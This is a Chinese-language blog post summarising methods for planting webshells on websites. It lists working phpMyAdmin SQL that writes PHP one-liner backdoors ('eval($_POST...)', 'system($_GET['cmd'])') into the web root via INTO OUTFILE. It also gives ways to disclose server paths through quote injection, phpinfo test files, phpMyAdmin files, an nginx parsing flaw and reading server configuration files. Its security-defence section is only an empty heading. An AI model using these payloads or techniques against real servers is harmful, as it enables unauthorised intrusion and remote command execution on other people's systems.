获取Webshell方法总结

一、CMS获取Webshell方法

搜索CMS网站程序名称

eg:phpcms拿webshell、wordpress后台拿webshell

二、非CMS获取Webshell方法

2.1数据库备份获取Webshell

网站后台找有无数据库备份功能,把一句话插入到图片里面,再备份数据(asp网站就备份成asp文件)

2.2抓包上传获取Webshell

制作图片马,只把木马伪造后缀上传易失败

2.3Sql命令获取Webshell

2.4模板修改获取Webshell

上传时固定的目录或不可点击的按钮可以尝试在控制台修改代码

2.5插入一句话获取Webshell

查看配置文件,若是php、asp保存的配置文件,可以插入一句话木马(注意配置文件整体语法,例如单引号成对出现等,否则配置文件语法错误,网站崩溃);发布公告等有对话框的部分都可以尝试插入一句话

2.6修改上传类型获取Webshell

三、其它获取Webshell方法

3.1phpmyadmin获取Webshell

方法一:
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php
一句话连接密码:xiaoma

方法二:
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;

方法三(推荐):

读取文件内容: select load_file('E:/xamp/www/s.php');

写一句话:select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'

cmd执行权限:select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'

方法四:
select load_file('E:/xamp/www/xiaoma.php');

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录:http://www.xxxx.com/xiaoma.php?cmd=dir

方法三难点在找outfile路径,php爆路径方法收集 :

1、单引号爆路径
说明:
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′

2、错误参数值爆路径
说明:
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1

3、Google爆路径
说明:
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

4、测试文件爆路径
说明:
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

5、phpmyadmin爆路径
说明:
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。PS:有些BT网站会写成phpMyAdmin。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php

6、配置文件找路径
说明:
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件

Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

7、nginx文件类型错误解析爆路径
说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
www.xxx.com/top.jpg/x.php

8.其他CMS爆路径方法很多,用时查资料

3.2Tomcat获取Webshell

3.3Weblogic获取Webshell

3.4JBoss获取Webshell

四、安全防范

posted @ 2020-02-13 17:09  beiwo  阅读(1149)  评论(0编辑  收藏  举报